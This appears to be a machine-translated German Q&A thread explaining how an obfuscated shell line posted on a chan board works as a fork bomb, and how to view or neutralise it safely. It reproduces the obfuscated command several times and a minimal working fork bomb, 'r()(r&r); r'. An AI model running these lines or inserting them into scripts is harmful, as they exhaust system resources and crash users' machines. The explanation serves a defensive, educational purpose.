Wie und warum ist diese Textfolge eine Gabelbombe?

Gefunden auf einem zufälligen Chan Board:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Irgendwie läuft dies so, dass ein unendlich laichender Prozess entsteht, der zügellos abläuft und die Maschine zum Stillstand bringt. Ich sehe etwas über "su", das versucht, mehrmals hingerichtet zu werden.

..was seltsam ist, denn ich würde nur erwarten, dass Text ausgegeben wird, nicht die Ausführung von irgendetwas.

Wenn ich diesen Text durch einen Online-Decoder lasse, bekomme ich nur eine Menge Binärspe:

Was macht diese Textverwirrung eigentlich und gibt es eine Möglichkeit, sie "sicher" anzuzeigen?

Schauen wir uns zunächst den gesamten Befehl an:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Es enthält eine Zeichenfolge in doppelten Anführungszeichen, die wiedergegeben wird uudecode. Beachten Sie jedoch, dass es sich bei der Zeichenfolge in doppelten Anführungszeichen um eine Zeichenfolge in umgekehrten Anführungszeichen handelt . Dieser String wird ausgeführt . Die Zeichenfolge lautet:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

Wenn wir uns ansehen, was drin ist, sehen wir drei Befehle:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

Wenn Sie die Klammer auf den mittleren Befehl erweitern, haben Sie:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

In der ersten Zeile wird versucht, einen Unsinnsbefehl im Hintergrund auszuführen. Das ist unwichtig.

Die zweite Zeile ist wichtig: Sie definiert eine Funktion, rdie beim Ausführen zwei Kopien von sich selbst startet. Jede dieser Kopien würde natürlich zwei weitere Kopien auf den Markt bringen. Und so weiter.

Die dritte Reihe rstartet die Gabelbombe.

Der Rest des Codes außerhalb der Zeichenfolge in Anführungszeichen ist nur Unsinn für die Verschleierung.

So führen Sie den Befehl sicher aus

Dieser Code kann gefahrlos ausgeführt werden, wenn die Ebene der Funktionsverschachtelung begrenzt ist. Dies kann mit der FUNCNESTVariablen von bash geschehen . Hier setzen wir es auf 2und dies stoppt die Rekursion:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Die obigen Fehlermeldungen zeigen, dass (a) die Quatschbefehle rYWdlund Y29jnicht gefunden werden, (b) die Gabelbombe wiederholt von FUNCNEST gestoppt wird und (c) die Ausgabe von echonicht mit beginnt beginund folglich keine gültige Eingabe für ist uudecode.

Die Gabelbombe in ihrer einfachsten Form

Wie würde die Gabelbombe aussehen, wenn wir die Verdunkelung entfernen würden? Wie njzk2 und gerrit vorschlagen, würde es so aussehen:

echo "`r()(r&r);r`"

Das können wir noch weiter vereinfachen:

r()(r&r); r

Das setzt sich aus zwei Aussagen zusammen: Eine definiert die Gabelbombenfunktion rund die zweite läuft r.

Der gesamte andere Code, einschließlich der Pipe to uudecode, diente nur der Verschleierung und Fehlleitung.

Die ursprüngliche Form hatte noch eine weitere Fehlleitungsebene

Das OP hat einen Link zur Channel-Board-Diskussion bereitgestellt, auf der dieser Code erschien. Wie dort dargestellt, sah der Code folgendermaßen aus:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

Beachten Sie einen der ersten Kommentare zu diesem Code:

Ich bin darauf hereingefallen. Kopierte nur den Teil, der widerhallt und dekodiert, aber immer noch gabelbombardiert wurde

In der Form auf der Kanaltafel würde man naiv denken, dass das Problem die evalAussage sein würde, die auf dem Ausgang von arbeitet uudecode. Dies würde den Eindruck erwecken, dass das Entfernen evaldas Problem lösen würde. Wie wir oben gesehen haben, ist dies falsch und gefährlich.

So beantworten Sie den zweiten Teil Ihrer Frage:

... gibt es eine Möglichkeit, es "sicher" anzuzeigen?

Um diese Zeichenfolge zu entschärfen, ersetzen Sie die äußeren Anführungszeichen durch einfache Anführungszeichen und umgehen Sie die einfachen Anführungszeichen in der Zeichenfolge. Auf diese Weise führt die Shell keinen Code aus und Sie übergeben alles direkt an uudecode:

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Andere Alternativen sind in den Kommentaren vermerkt:

Kasperd schlug vor :

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Jacob Krall schlug vor , einen Texteditor zu verwenden, den Inhalt einzufügen und diese Datei dann an uudecode zu übergeben.

Auf den ersten Blick könnte man meinen, dass die Ausgabe an die Shell niemals ausgeführt wird . Das ist immer noch wahr . Das Problem liegt bereits in der Eingabe . Der Haupttrick dabei ist, was Programmierer als Operatorpriorität bezeichnen . Dies ist die Reihenfolge, in der die Shell versucht, Ihre Eingabe zu verarbeiten:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode

1. Erstellen Sie die Zeichenfolge, indem Sie alle darin enthaltenen Backticks-Befehle ausführen.
2. Normalerweise ein unbekannter Befehl, der zu Ausgaben wie "rYWdl" führen würde. Wenn es sich nicht um einen Tippfehler handelt, können Sie den Befehl "not-found" verwenden, um das Paket zu suchen, in dem er enthalten ist. (Hängt vom System ab.)
3. Führt 2. im Hintergrund aus. Sie werden nie eine Ausgabe sehen.
4. Definieren Sie die Gabelbombenfunktion.
5. Befehlstrennzeichen.
6. Lass die Gabelbombe los.
7. Fügen Sie das Ergebnis von 6. in den String ein. (Wir kommen nie hierher.)

Der Fehler ist zu denken, dass echodies der erste Befehl ist, der ausgeführt wird, uudecodeder zweite. Beide werden niemals erreicht werden.

Fazit: Doppelte Anführungszeichen sind in der Shell immer gefährlich.